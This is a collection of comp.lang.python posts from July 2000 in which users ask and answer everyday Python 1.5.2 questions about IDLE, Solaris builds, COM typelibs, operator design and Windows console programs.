From: steffen.ries at sympatico.ca (Steffen Ries)
Date: Sun, 30 Jul 2000 12:48:18 GMT
Subject: Find where you left off...
References: <397F7BF5.F4A0138D@yahoo.com> <slrn8nvree.35n.qtmstr@d30-146.hcvlny.optonline.net> <etdr98du6gj.fsf@w20-575-115.mit.edu> <39831297.36F7C5C2@yahoo.com>
Message-ID: <m3g0orkcmm.fsf@gondolin.beleriand>

Paul Winkler <slinkp23 at yahoo.com> writes:

> Toby, Alex, and Quotemaster:
> 
> Thanks for the comments.
> It seemed like a good idea at the time. :)
> 
> I think I will use emacs bookmarks instead, sounds like a better
> general solution. Thanks Toby!

You may want to look at the 'desktop' package as well
(C-h C-f desktop-save<RET>), which allows you to store state
automatically and resumes *all* files where you left them...

hth,
/steffen
-- 
steffen.ries at sympatico.ca	<> Gravity is a myth -- the Earth sucks!


From olivierS.dagenaisP at canadaA.comM  Sat Jul 22 11:25:05 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Sat, 22 Jul 2000 15:25:05 GMT
Subject: Newbie question, Getting Started?
References: <8lbtqg$2drj$1@earth.superlink.net>
Message-ID: <l1je5.11122$Z43.117942@news20.bellglobal.com>

I also come from a VB background, and I have chosen to use wxPython for my
GUI:

http://www.wxpython.org

Also, to see how wxPython compares to Tkinter:

http://www.faqts.com/knowledge-base/view.phtml/aid/3565/fid/473

I've never used Access per say, but I have used some ADO with the Jet
Engine.  For my database, I think I will use Gadfly:

http://www.chordate.com/kwParsing/


As for deployment, a solution that's recommended all the time is:

http://starship.python.net/crew/gmcm/distribute.html

...but you don't need to worry about deploying until you're done, unless you
have testers...


(This "coming from VB" type of question should probably be in the FAQ or a
tutorial.  The only question that is sort of close to this is
http://www.faqts.com/knowledge-base/view.phtml/aid/3243/fid/199  Maybe, one
day, I'll write a tutorial on "switching to the light side")

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


<OneDay at ATime.net> wrote in message
news:8lbtqg$2drj$1 at earth.superlink.net...
> Hello all,
>
>         I've done some programming with MS Access and Excell Visual Basic,
but
> am new to Python. I've been reading the tutorial for several days now and
am
> having difficulty figuring out where to start. For example, where do I
write a
> simple MessageBox program?
>
>         Can I write Python 1.5.2 or Tcl executable programs that can be
run on
> a PC that does not have python installed?
>
>         Thanks for your time, Al
>
> (The only stupid question is the one not asked.)




From danny at thrud.anatomy.usyd.edu.au  Fri Jul  7 10:58:33 2000
From: danny at thrud.anatomy.usyd.edu.au (Danny Yee)
Date: 8 Jul 2000 00:58:33 +1000
Subject: ISO Latin -> HTML conversion
Message-ID: <8k4r6p$p1v$1@thrud.anatomy.usyd.edu.au>

I need to convert text with ISO Latin characters to HTML, e.g.
I want to map ? to &eacute; and so forth.

I can do this by reading in a wopping big file
	('?', '&Agrave;'),
	('?', '&Aacute;'),
	('?', '&Acirc;'),
	('?', '&Atilde;'),
		.
		.

and then going
	for pair in fix_list:
		line = re.sub(pair[0], pair[1], line)
as I read each line... but there has to be something quicker than that,
surely.  Is there a fast way to do this?

Danny.





From rloisel at helicon.net  Sun Jul 23 10:13:39 2000
From: rloisel at helicon.net (Rodney Loisel)
Date: Sun, 23 Jul 2000 10:13:39 -0400
Subject: IDLE window disappears on startup
References: <397A3EEA.792BDDEB@helicon.net> <1use5.617$Gh.13635@news20.bellglobal.com>
Message-ID: <397AFD92.7F17FFD1@helicon.net>

All the python programs fail. Just a flash of a window. There is no idle.py in
the
idle directory , just a idle.pyw with a comment (no console) . Even my 'Hello'
program won't run by clicking on the icon. All I can do with python is to use
the start-> etc. >click on Python1.5 and get a generic window with no shell
feature and do line by line scripting. Also I can do run python from the 'run'
box and that indicates that the path is okay. import Tkinter works - so that
is functional. Why would there be a missing file or library if I just dl's this
program
for the python web site. You also didn't say how to change the DOS 'close on
exit'
if that's the problem...

thanks for the reply.

Olivier Dagenais wrote:

> Your DOS window is probably set to "Close on exit" (hence you don't see the
> reason for the failure).  Open a DOS prompt, navigate to the directory where
> idle.py is, type "python idle.py" and if an exception is thrown, it should
> appear right after that command.
>
> It might be that you're missing a module, like TCL or something...
>
> --
> ----------------------------------------------------------------------
> Olivier A. Dagenais - Carleton University - Computer Science III
>
> "Rodney Loisel" <rloisel at helicon.net> wrote in message
> news:397A3EEA.792BDDEB at helicon.net...
> > New to Python but not script programming. W98  Python 1.5.2b
> > First tried clicking on the idle.pw and idle.pwc icons and a window
> > pops up and immediately disappears. Then tried:
> > start->run-> python idle.py and idle.pyw and the same thing
> > happened. Appreciate any suggestions. Also if there are any
> > Amiga users of python out there. I also can't get IDLE going
> > on that platform either but at least I have  the shell.
> >
> > rloisel at helicon.net (Rod Loisel Enfield NH)
> >



From r2d2 at mao.acc.umu.se  Mon Jul 31 03:07:36 2000
From: r2d2 at mao.acc.umu.se (Niklas Frykholm)
Date: 31 Jul 2000 07:07:36 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com>
Message-ID: <slrn8oa9dm.rub.r2d2@mao.acc.umu.se>

>    It isn't senseless.  That is the whole point.  It is only senseless
>because of typing.  Clearly you cannot add a word to a number, granted.  But
>what of 1 + "1"?  That isn't senseless, those are two numbers.  I can see they
>are two numbers, it is only because of typing that it fails.  
>
>    So I ask you this /VERY/ simple question.  Why can't Python do both?  Hm?
>What is wrong with taking 1 + "1", converting the "1" to a 1 and adding it
>together?

I hate to step into a thread that is already so bloated, but I feel much of
the discussion is missing the point. There is nothing inherently wrong with
having 1 + "1" == 2. It's a design choice, and for Perl, it is a design
choice that makes sense.

However, for Python, I do not believe it would be a good design choice,
because it implies that operators are type specific. So you need separate
operators for adding numbers (+) and concatenating strings (.). This is
not that troublesome, because these are really different operations. More
disturbing is that we need separate operators for comparing numbers (==)
and comparing strings (eq).

In Perl, this is not such a big problem, because Perl doesn't care that
much about types. Often the types are implicit (the programer says to
himself, well I'll represent cars by a list with the model in the first
element and the year in the second - but doesn't actually define a Car
type). (Of course, with objects and references this changes, but then
automatic conversion breaks down as well \1 + 1 is not 2.)

In Python, on the other hand, the programmer creates new types (classes)
all the time, classes for rationals, matrixes, cars, etc --- things that we
want to add, multiply and compare. With type specific operators, we would
have to create new operators for each type, which I do not think is a very
good idea. It would make the code harder to read and write and it would
break the similarity with mathematic notation where + can indeed be used to
add many things beside numbers.

>    Hell, why do an exception at all?  Why not do what is already done with
>integers, reals and floats?  
>
>1 + 1 = math
>
>1 + "1" = math
>
>1 + "foo" = string ("1foo")
>
>"foo" + "foo" = string ("foofoo")

Because it breaks down associativity?

1 + (1 + "foo") = "11foo"

(1 + 1) + "foo" = "2foo"

// Niklas


From john.osullivan at chase.com  Thu Jul 13 08:06:55 2000
From: john.osullivan at chase.com (john.osullivan at chase.com)
Date: Thu, 13 Jul 2000 12:06:55 GMT
Subject: Solaris/SparcWorks 1.5.2 build
Message-ID: <8kkbcm$8nf$1@nnrp1.deja.com>

I did a build and install of Python 1.5.2 on my Solaris box
recently. I'm running Solaris 2.6 on an Ultra 5, with
SparcWorks 4.2 C and C++ compilers. I ran across some
gotchas which I thought I'd document. Others, who like
me are working in a corporate environment where gcc
and gmake aren't available, may find them handy. If you're
trying to build with SparcWorks C/C++ and Solaris
make you may well run into gotchas 1 to 3. Number
4 is a really bizarre one which is quite improbable -
I wrote it down 'cos I enjoy winkling out a good bug...

JOS 2000-07-13 (john.osullivan at chase.com)


1. Run configure to build without gcc and with support for
threading...

./configure --without-gcc --with-thread

2. Make sure your path picks up the SparcWorks C and C++
compilers first, before /usr/ucb. My SparcWorks is in
/dvl/sw/SUNWspro_4.2/bin. If you pick up /usr/ucb/cc first
you will get something like...

{dvcls105_le0:38} ./configure --without-gcc --with-thread
loading cache ./config.cache
checking MACHDEP... sunos5
checking CCC...
checking for --without-gcc... yes
checking for gcc... (cached) cc
checking whether the C compiler (cc  ) works... no
configure: error: installation or configuration problem: C compiler
cannot create executables.

If you get this you can check whether the problem is caused by
/usr/ucb/cc like so...

{dvcls105_le0:34} cc
/usr/ucb/cc:  language optional software package not installed
{dvcls105_le0:35} ls -l /usr/ucb/cc
-r-xr-xr-x   1 bin      bin         3084 Jul 16  1997 /usr/ucb/cc

3. Make sure that DEFS includes -D_REENTRANT -mt in the
Makefiles...

DEFS=           -DHAVE_CONFIG_H -D_REENTRANT -mt

You need this for multithreading - which you will need
if you want to run, for instance, Zope.

4. Look out for Solaris make's implicit rules kicking in. The
implicit rules live in /usr/share/lib/make/make.rules. They
can cause the invocation of, among other things, sccs and
yacc. I experienced a particularly bizarre interaction
since I had a PROJECTDIR environment var set. sccs looks
for an SCCS subdirectory below the dir pointed to by
PROJECTDIR, and mine just happened to have an old
history file called s.parser.y, which got recovered
by an implicit rule in /usr/share/lib/make/make.rules
and passed through yacc to overwrite parser.c. The output
below was generated by 'make -d'. The "parser.y" prefixing
the C compiler error reports was caused by a preprocessor
directive in parser.y and the generated parser.c

 -O -I./../Include -I.. -DHAVE_CONFIG_H -D_REENTRANT -mt  -c  node.c
   Building pgen because it is out of date relative to node.o
      Sccs getting parser.y because s. file is younger than source file
sccs  get -s parser.y -Gparser.y
     Building parser.c using suffix rule for .y.c because it is out of
date relative to parser.y
yacc  parser.y
mv y.tab.c parser.c
    Building parser.o because it is out of date relative to parser.c
    Building parser.o using suffix rule for .c.o because it is out of
date relative to parser.c
cc -O -I./../Include -I.. -DHAVE_CONFIG_H -D_REENTRANT -mt  -c  parser.c
"parser.y", line 12: cannot find include file: <cmacros.h>
"parser.y", line 26: undefined or not a type: cmd_descriptor
"parser.y", line 26: syntax error before or at: *
"parser.y", line 26: warning: old-style declaration or incorrect type
for: cursource
"parser.y", line 27: undefined or not a type: cList
"parser.y", line 27: syntax error before or at: *
"parser.y", line 27: warning: old-style declaration or incorrect type
for: curargs




Sent via Deja.com http://www.deja.com/
Before you buy.


From huaiyu_zhu at yahoo.com  Sat Jul 22 17:56:57 2000
From: huaiyu_zhu at yahoo.com (Huaiyu Zhu)
Date: Sat, 22 Jul 2000 14:56:57 -0700 (PDT)
Subject: Discussion: new math operators
In-Reply-To: <39773679.69A8BF9D@fft.be>
Message-ID: <Pine.LNX.4.10.10007221435510.6854-100000@localhost.localdomain>

I've finally put the new operator patch by Greg Lielens, merged with Thomas
Wouters' patch for augmented assignment, onto MatPy directory at

	http://MatPy.sourceforge.net/Misc/matop-000720.patch.gz

It works against CVS on 2000-07-20. A brief instruction is put at the end of

	http://MatPy.sourceforge.net/INSTALL

A test file is available (which also serves as a demo),

	http://MatPy.sourceforge.net/Misc/test_matop.py

This works on my Linux box without needing any hand editing.  If there is
demand I'll put the separate matop patch there as well.  

Enjoy,

Huaiyu

PS. Greg, the test file was modified from yours in the patch.


On Thu, 20 Jul 2000, Gregory Lielens wrote:

... 
> I attach it in the mail, a patch against the current CVS (CVS.patch)
> that will add both augassign and @, and against the current CVS already
> patched with the augassign (augassign.patch) that will add the @
> operators. Maybe you can put them in a MatPy directory at sourceforge
> after trying it, and post the location in c.l.p ?
> 
> The patch work well on my linux box, but on a hp we have here, it does
> not compile...However, I am sure it is not the patch fault, as an
> upatched current CVS have the same compilation troubles... I am not sure
> if the current CVS is at fault (errors happen in the unicode section) or
> if the compiler are not correctly installed on this box (this is
> probably the explanation, we already have some problems with it).  I
> think that if you can compile it, it is better to let others check it on
> a variety of platform...
> 
> Greg.





From yosefgold at hotmail.com  Tue Jul 11 09:17:54 2000
From: yosefgold at hotmail.com (yosefgold at hotmail.com)
Date: Tue, 11 Jul 2000 13:17:54 GMT
Subject: capturing CTRL-BREAK on PC
Message-ID: <8kf6ph$h0k$1@nnrp1.deja.com>

How can I catch CTRL-BREAK (not CTRL-C, that I know how to do), so that
I can do some cleanup work before exiting?

I am using version 1.5.2 via a command prompt in NT.

Thanks,
Yosef Gold
yosef at adsc.com  -- please email answers here in addition to posting
them.


Sent via Deja.com http://www.deja.com/
Before you buy.


From jbauer at rubic.com  Thu Jul 27 12:01:11 2000
From: jbauer at rubic.com (Jeff Bauer)
Date: Thu, 27 Jul 2000 11:01:11 -0500
Subject: cgi dectection
References: <39804dc7_1@news.chariot.net.au>
Message-ID: <39805CC7.DE18566F@rubic.com>

Michael Lunnay wrote:
> is there a standard way to detect if script is being 
> run as a cgi script or from the command line. 


I usually build test cgi scripts by checking for the
SERVER_PROTOCOL environment variable, e.g.:

  if os.environ.has_key('SERVER_PROTOCOL'):
      run()
  else:
      test()


Hope that helps.

Jeff Bauer
Rubicon Research



From mlp at my-deja.com.bbs  Thu Jul 13 09:00:04 2000
From: mlp at my-deja.com.bbs (mlp at my-deja.com.bbs)
Date: 13 Jul 2000 13:00:04 GMT
Subject: TypeLib for Python COM Server?
Message-ID: <3bO6d4$mOG@openbazaar.net>

that's nice. and thanks for the reply.  however, i already got a python
module for generating a typelib from a python server.  i got it from
arpad kiss.  tell me if you're interested ...

morten



In article
<326536345498D311B3BC00105A39802A07478A at newsintern.dspace.de>,
  Stefan Migowsky <smigowsky at dspace.de> wrote:
> Hi,
>
> there is no general support for typelib generation. But as I know all
> propertiues and methods of a Python COM Server start with the dispid
1000.
>
> So writing the IDL File by hand is no problem. Just take the same
GUIDs,
> Names and the right DispID. So here is a little example :
>
> Python File :
>
> _reg_clsid_ = "{5B24BFC0-EF45-11d3-9B5F-0090274354BC}"
> _reg_libname_ = "PythonComInterpreter Typelib"
>
> class PythonComInterpreter:
>     """Interface PythonComInterpreter"""
>
>     _public_methods_ = ['Exec','Eval']
>
>     _reg_progid_     = "PythonComInterpreter"
>     _reg_verprogid_  = "PythonComInterpreter.1"
>     _reg_clsid_      =  '{281AC1E3-E3D2-11D3-9B37-00902722BDE1}'
>     _reg_desc_       = "PythonComInterpreterClass"
>     _reg_class_spec_ = "PythonComInterpreter.PythonComInterpreter"
>
>     def __init__(self):
>         self.Dict = {}
>         self.Dict["__name__"] = "__main__"
>         self.Dict["__builtins__"] = __builtins__
>         self.Dict["__doc__"] = ""
>
>     def Exec(self, Cmd):
>         exec str(Cmd) in self.Dict
>
>     def Eval(self, Cmd):
>         return eval(str(Cmd),self.Dict)
>
> if __name__ == '__main__':
>   print 'Registering Python COM Server ...'
>   import win32com.Server.register
>   win32com.Server.register.UseCommandLine(PythonComInterpreter)
>   print 'Registering finished'
>
> ######################################################################
> Corresponding IDL File:
> ######################################################################
>
> [
>   uuid(5B24BFC0-EF45-11D3-9B5F-0090274354BC),    // _reg_clsid_
Typelib
>   version(1.0),
>   helpstring("PythonComInterpreter 1.0 Type Library")
> ]
> library Interpreter
> {
>     importlib("STDOLE2.TLB");
>
>     // Forward declare all types defined in this typelib
>     dispinterface IPythonComInterpreter;
>
>     [
>       uuid(281AC1E3-E3D2-11D3-9B37-00902722BDE1), // _reg_clsid_
> PythonComInterpreter Class
>       helpstring("PythonComInterpreter Class")
>     ]
>     coclass PythonComInterpreter {                // _reg_progid_
> PythonComInterpreter Class
>         [default] dispinterface IPythonComInterpreter;
>     };
>
>     [
>       uuid(F8887DE1-EF58-11D3-9B5F-0090274354BC),
>       helpstring("IPythonComInterpreter Interface")
>     ]
>     dispinterface IPythonComInterpreter {
>         properties:
>         methods:
>             [id(1000), helpstring("Executes a Pythonstatement")]
>             VARIANT Exec([in] BSTR cmd);
>             [id(1001), helpstring("Evals a Pythonstatement")]
>             VARIANT Eval([in] BSTR cmd);
>     };
> };
>
> 	Stefan
>
> >-----Original Message-----
> >From: mlp at amrose.dk [mailto:mlp at amrose.dk]
> >Sent: Wednesday, July 12, 2000 1:37 PM
> >To: python-list at python.org
> >Subject: TypeLib for Python COM Server?
> >
> >
> >hi all.
> >
> >i'm in a situation where i'd like to have a typelib for a python com
> >server, for use in a c++ client.
> >
> >i tried to just use midl on an idl i made to reflect the interface of
> >the python server.  this didn't work out, since when compiling the
> >client code the tlb file is not recognized.
> >
> >my question: is there an automatic, easy, or standard, way to produce
a
> >typelibrary for a com server implemented in python?  if not, is it
> >possible at all?  if so, could anybody help me with the details?  a
> >complete example would be splendid!
> >
> >python rules!
> >'gards,
> >morten lind petersen, denmark
> >
> >
> >Sent via Deja.com http://www.deja.com/
> >Before you buy.
> >--
> >http://www.python.org/mailman/listinfo/python-list
> >
>
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From mwh21 at cam.ac.uk  Sat Jul 22 20:54:48 2000
From: mwh21 at cam.ac.uk (Michael Hudson)
Date: 23 Jul 2000 01:54:48 +0100
Subject: Operators for everything (was Re: Operators for matrix)
References: <m38zuvny7v.fsf@atrus.jesus.cam.ac.uk> <memo.20000722212847.22193A@digitig.compulink.co.uk>
Message-ID: <m3em4ld5t3.fsf@atrus.jesus.cam.ac.uk>

digitig at cix.co.uk (Tim Rowe) writes:

> In article <m38zuvny7v.fsf at atrus.jesus.cam.ac.uk>, mwh21 at cam.ac.uk 
> (Michael Hudson) wrote:
> 
> > W.Whiten at mailbox.uq.edu.au (Bill Whiten) writes:
> > 
> 
> <snip>
> 
> > > I would prefer the normal oprerators plus an escape character 
> > > followed by
> > > additional characters to define new operators eg @+ @div etc.
> > 
> > I quite like this idea (unlike most of the others that have been
> > mentioned...); it reminds me of Haskell.
> 
> Ouch -- I don't. The type of an identifier determined by the characters in 
> the identifier, rather than being assigned? That's one of the things I 
> loathe about Perl. And what would a Python identifier be doing, 
> constrained to refer only to one type?

Sorry, but eh?  I fail to understand you, I think.

Example usage of what I'm talking about:

def add(x,y):
    return x + y

1 @add 1
  ==> 2

Now, can you explain your problem again for the hard of thinking?

(I'm not sure that this would make a good addition to Python either,
but I do think it's a better idea than some that have been bandied
around in the last week or so - and that's just the posts I've read)

Cheers,
M.

-- 
41. Some programming languages manage to absorb change, but 
    withstand progress.
  -- Alan Perlis, http://www.cs.yale.edu/homes/perlis-alan/quotes.html


From jessw at loop.com  Sat Jul  8 11:27:00 2000
From: jessw at loop.com (Jesse W)
Date: Sat, 8 Jul 2000 15:27:00 +0000
Subject: Solution to IDLE and Tkinter troubles
Message-ID: <200007082229.PAA66802@ritchie.loop.com>

Dear Python Community,
	I have noticed, as have many others, that IDLE has trouble running 
Tkinter programs.  I suspected, and read in newsgroup postings, the 
explanation that IDLE uses Tkinter and it causes problems when one 
Tkinter session is run within another.
	I have thought up, and implemented, a very simple solution to this 
problem(the code is below); however, it is pretty ugly and clumsy.  
My solution is just to use the os.system command to call python.exe 
and run the script.
	There are a few problems, however.  os.system takes a _long_ time to 
get the interpreter running and blanks my screen while it does it.  
It would be nice if there was some more efficient command to start 
the interpreter.  A second problem is the kludge randomly breaks, and 
I don't know why because I don't understand the IDLE code.  Also, 
because of my lack of IDLE knowledge, I am probably using the wrong 
calls to get what I want and I am sure it could be made cleaner.	I 
have had this for a while, and I did not post because I was sure that 
something this obvious would have already been done, or at least 
thought of as a TODO.  I still suspect I am missing something, 
because this seems so simple, and it is definitely a problem...

					Thank you for your time,
							Jesse Weinstein

My Solution:  (insert in ScriptBinding.py)
The lines with #JW after them are the lines I added

menudefs = [
        ('edit', [None,
                  ('Import module', '<<import-module>>'),
                  ('Run script', '<<run-script>>'),  
                  ('Alt Run script', '<<run-script2>>'), #JW
                 ]
        ),
    ]

def run_script2_event(self, event): #JW
        filename = self.getfilename() #JW
        if not filename: #JW
            return #JW
        print filename #JW
        os.system("c:\\python\\python.exe " + filename) #JW



From cut_me_out at hotmail.com  Fri Jul 21 15:47:06 2000
From: cut_me_out at hotmail.com (Alex)
Date: 21 Jul 2000 15:47:06 -0400
Subject: Creating a setuid script
References: <39789242.C93B0446@glo.be>
Message-ID: <etdittzw9j9.fsf@w20-575-116.mit.edu>

> I am busy writing some scripts, which should be setuid root

When I needed to do this, someone told me that scripts don't run setuid,
as a security feature.  The problem is, you can really mess a things up
by passing it corrupted environment variables.  So you have to have a C
wrapper program, protects the script by passing it sanitized environment
variables.  There is one distributed with the python source.  You can
get it here:

http://cvs.sourceforge.net/cgi-bin/cvsweb.cgi/python/dist/
src/Misc/setuid-prog.c?rev=1.5&content-type=text/
x-cvsweb-markup&cvsroot=python 

(Sorry, you'll have to join the three lines together.)

Alex.


From Jelske.Kloppenburg at gmd.de  Wed Jul  5 10:51:31 2000
From: Jelske.Kloppenburg at gmd.de (Jelske.Kloppenburg at gmd.de)
Date: 5 Jul 2000 14:51:31 GMT
Subject: Compiler switches for install
Message-ID: <8jvi1j$412$1@hop.gmd.de>

In the Python-1.5.2/README under Configuring threads I 
read
"Unfortunately, on some platforms, additional compiler 
and/or
linker options are required."
Where - configure, configure.in, Makefile, Makefile.in,
                                 Modules/Makefile.pre.in, 
...?
how - CFLAGS=, OPTS=, MY_CFLAGS= ...?
and when - before configure, before make, ...?
    can I set the options?
    
I repeat the question (until now nobody seems to 
understand me):

Where, how and when can I set the options?

-- 
  Jelske Kloppenburg, +49 2241 14-2433, <Jelske.Kloppenburg at gmd.de>
  GMD - German National Research Center for Information Technology



From spahievi at vega.bg  Fri Jul 21 19:38:01 2000
From: spahievi at vega.bg (Spahievi)
Date: Sat, 22 Jul 2000 02:38:01 +0300
Subject: Win95 python programs no longer start
Message-ID: <200007212350.CAA12817@moria.vega.bg>


----------
> From: removeRishi Ed <rishi at enteract.com>
> To: python-list at python.org
> Subject: Win95 python programs no longer start
> Date: ??????, ??? 22, 2000 00:53
> 
> At some point, when I double click at .py program, nothing happens. It
used to 
> start up.  Windows knows about python and the .py extension, but it
doesn't 
> start up the program. 
> 
> any ideas?

When Win95 is upgraded with USB support all win32 console apps can't be
started from GUI explorer.

Niki Spahiev



From dcalvelo at pharion.univ-lille2.fr  Tue Jul 25 15:06:57 2000
From: dcalvelo at pharion.univ-lille2.fr (Calvelo Daniel)
Date: 25 Jul 2000 19:06:57 GMT
Subject: SIMPLE QUESTION
References: <397D8299.27F82E6D@sicon.net>
Message-ID: <8lkogh$1gg$2@netserv.univ-lille1.fr>

sergio <smoriano at sicon.net> wrote:
: Hi again , i try to explain it better this time.

:     From a dll of a pdf converter , i make a py file. And i want to use
: the next function in order to initializate a new printer driver:

: def DriverInit(self, PrinterName=defaultNamedNotOptArg):
:   return self._ApplyTypes_(0x1b, 1, (3, 0), ((8, 0),), 'DriverInit',
: None, PrinterName),

: included in the class:

: class ICDIntf(DispatchBaseClass):

: When i try to call it i get the error

:  File "<interactive input>", line 0, in ?
:  TypeError: unbound method must be called with class instance 1st
: argument.

: I suppose its refering to the argument 'self' so, how can i get the
: class instance to pass it to the function.

Without more info, one can only suppose that your call should have been
along the lines of:

sthg = ICDIntf() # Make a class instance
sthg.DriverInit() # Call the method on the instance

Or:

sthg = ICDIntf()
ICDIntf.DriverInit( sthg ) # Call the unbound method with class 
                           # instance first argument

Or:

ICDIntf().DriverInit() # Probably useless

HTH

-- Daniel Calvelo Aros
     calvelo at lifl.fr


From skip at mojam.com  Wed Jul 12 13:44:43 2000
From: skip at mojam.com (Skip Montanaro)
Date: Wed, 12 Jul 2000 12:44:43 -0500 (CDT)
Subject: Test writing volunteers needed
Message-ID: <14700.44683.572283.391037@beluga.mojam.com>

I'm look for a few people to write some regression tests for the posix (and
windows or mac equivalents), os and sys modules.  Some of that functionality
is tested already (fork for example), but much of it isn't.  If you can help
out, please contact me in private email.  I will help coordinate a small
group of people.

Here's what's required:

  * A few hours free over the next week or two.

  * You must be able to check out the CVS tree from SourceForge.  You will
    probably be adding test cases for new or changed functionality.  Testing 
    against the 1.5.2 distribution will likely be insufficient.

  * I'd like to find some people who have access to something besides Linux
    or Windows.  In particular, users of Macs and other Unix variants are
    encouraged to volunteer.

  * You should be able to write Python code (no C code writing is involved).

If you have a little time to help with this project, please contact me.

Thanks,

-- 
Skip Montanaro, skip at mojam.com, http://www.mojam.com/, http://www.musi-cal.com/
"To get what you want you must commit yourself for sometime" - fortune cookie



From neilh at scintilla.org.bbs  Sun Jul 16 19:20:02 2000
From: neilh at scintilla.org.bbs (neilh at scintilla.org.bbs)
Date: 16 Jul 2000 23:20:02 GMT
Subject: Pythonwin 1.5.2
Message-ID: <3bQdM2$k0S@openbazaar.net>

> Another PythonWin documentation quirk:  Ctrl+T is listed twice as a
keyboard
> shortcut.  Once as "Transpose (swap) the current line with the line above"
> and later as "Toggle the use of tabs for the current file (after
> confirmation)"

   Well it could be documented this way because the underlying Scintilla
Transpose command would be exposed if you change your bindings file to move
toggle-tabs to a different key. But I expect its just an oversight.

    Neil


From cg at schlund.de  Mon Jul 31 17:59:38 2000
From: cg at schlund.de (Carsten Gaebler)
Date: Mon, 31 Jul 2000 23:59:38 +0200
Subject: removing characters from a string?
References: <8m4rqn+jpg0@eGroups.com>
Message-ID: <3985F6CA.DCA6C56B@schlund.de>

I'd give re.sub() a try.

Carsten.


jesse at multimediacollective.com wrote:
> say I had a string.
> 
> this_string = "jesse at multimediacollective.com"
> 
> """and I wanted to get rid of the @, how would I do that? This
> process has to be efficent for removing large quantities of special
> characters, such as <,>,#,%,* etc, from the same string.
> 
> Any advice would be very helpful.  Thanks in advance, Jesse.


From andymac at bullseye.apana.org.au  Tue Jul 18 18:31:18 2000
From: andymac at bullseye.apana.org.au (Andrew MacIntyre)
Date: Wed, 19 Jul 2000 08:31:18 +1000 (EST)
Subject: Best way to switch  between different view
In-Reply-To: <3973EB14.1D3F17BF@proceryon.at>
Message-ID: <Pine.OS2.3.95.1000719082911.1592A-100000@CENTRAL>

On Tue, 18 Jul 2000, Horst Gassner wrote:

> In my application there are three different kind of views. Each of them
> has to be displayed in the same main window. Two of them are scrolled
> canvases and one is a scrolled frame (all of them with many widgets
> inside).
> 
> What is the best way to handle this different views? At the moment I
> completely destroy one view and rebuild the new one but there must be a
> better way. Some time ago I have read something about an unpack method
> to hide a widget. Could this be the best way to do this?

Could you get them into a tabbed notebook type setup - a number if GUI
toolkits offer widget, and IIRC PMW has such a widget if you're using
Tkinter.

--
Andrew I MacIntyre                     "These thoughts are mine alone..."
E-mail: andrew.macintyre at aba.gov.au    (work) | Snail: PO Box 370
        andymac at bullseye.apana.org.au  (play) |        Belconnen  ACT  2616
        andymac at pcug.org.au           (play2) |        Australia




From alex at magenta.com  Fri Jul 28 17:17:52 2000
From: alex at magenta.com (Alex Martelli)
Date: Fri, 28 Jul 2000 23:17:52 +0200
Subject: Perl is worse!
References: <slrn8o25nr.e7.grey@teleute.rpglink.com> <8lsdir$aja$1@plutonium.compulink.co.uk> <slrn8o3fei.49c.grey@teleute.rpglink.com>
Message-ID: <8lstog02hch@news2.newsguy.com>

"Steve Lamb" <grey at despair.rpglink.com> wrote in message
news:slrn8o3fei.49c.grey at teleute.rpglink.com...
> On 28 Jul 2000 16:49:31 GMT, gbreed at cix.compulink.co.uk
> <gbreed at cix.compulink.co.uk> wrote:
> >?  You said it was only declared to "get the name space in there".
>
>     Yup.  "I'm going to use a, for what I know not.  Could be string,
could be
> integer, could be whatever I want."  The point was defining the name and
> assiciate it with nothing.  But since the type is inferred on first use
might
> as well have the C declarations.

No, there is no type-inferences about variables in Python, neither
on first use nor on later ones.

It serves no purpose that I can think of, in Python, to state to
the compiler "I'm going to use a, for what I know not", in advance
of when you know what you do want with it.  Just bind it in the
appropriate manner at the instant in which you do want to know,
and feel free to rebind it later (or delete it, whatever) if and
when you change your mind.

Whatever a was bound to, or whether it was bound at all, will
make no difference when you later bind or rebind it.  If you
need or want to make tests about a, call methods on it, etc,
then of course it will matter what if anything it is bound to
at that point; but not for the purpose of (re)binding it.


Alex





From garabik at center.fmph.uniba.sk.spam  Thu Jul 20 11:26:54 2000
From: garabik at center.fmph.uniba.sk.spam (Radovan Garabik)
Date: 20 Jul 2000 15:26:54 GMT
Subject: Advice sought: text-mode (but not CLI) apps in Windows console ?
References: <8F7682C13PaCmAnRDLM@195.25.12.37>
Message-ID: <8l75nu$vq$1@sunnews.cern.ch>

Fred Pacquier <fredp at mygale.org.nospam> wrote:

 : Hi,

 : The other day I had an idea for something I wanted to do in Python. It is 
 : to be run under Windows (9x), but for various reasons I did not want to do 
 : a full Windows GUI (like with Tk or wxPython). I did not have a pure CLI 
 : app in mind either, but wanted to provide some sort of simple character-
 : mode interface to the user, in a Windows console (DOS box).

 : Since then I have been through what I believe to be a reasonably thorough 
 : Web search (from Parnassus outwards) to find something to get me started, 
 : and have turned up precious little. Various Python bindings of curses or 
 : ncurses exist, but can one run curses itself under Win 9x ? Or are there 

http://www.mikroplan.com.pl/~mak/python/files/pdcurses.zip


 : other, well-hidden libraries or modules that do more or less the same thing 
 : on that platform ? (I'm not asking for something as high-level and 
 : extensive as the Borland OWL of old :-)

-- 
 -----------------------------------------------------------
| Radovan Garabik http://melkor.dnp.fmph.uniba.sk/~garabik/ |
| __..--^^^--..__    garabik @ melkor.dnp.fmph.uniba.sk     |
 -----------------------------------------------------------
Antivirus alert: file .signature infected by signature virus.
Hi! I'm a signature virus! Copy me into your signature file to help me spread!


From rumjuggler at cryptarchy.org  Fri Jul 28 02:52:19 2000
From: rumjuggler at cryptarchy.org (Ben Wolfson)
Date: Fri, 28 Jul 2000 06:52:19 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com>
Message-ID: <aeb2osgndgqvhrrm6f3pmfevns171i0r5a@4ax.com>

On Fri, 28 Jul 2000 05:00:16 GMT, grey at despair.rpglink.com (Steve Lamb)
wrote:

>On Fri, 28 Jul 2000 04:15:24 GMT, Ben Wolfson <rumjuggler at cryptarchy.org> wrote:
>>I would never, personally, have expected list(123) to return a list
>>containing only the element 123.  After all, that isn't how it works with
>>_any_ other data type.
>
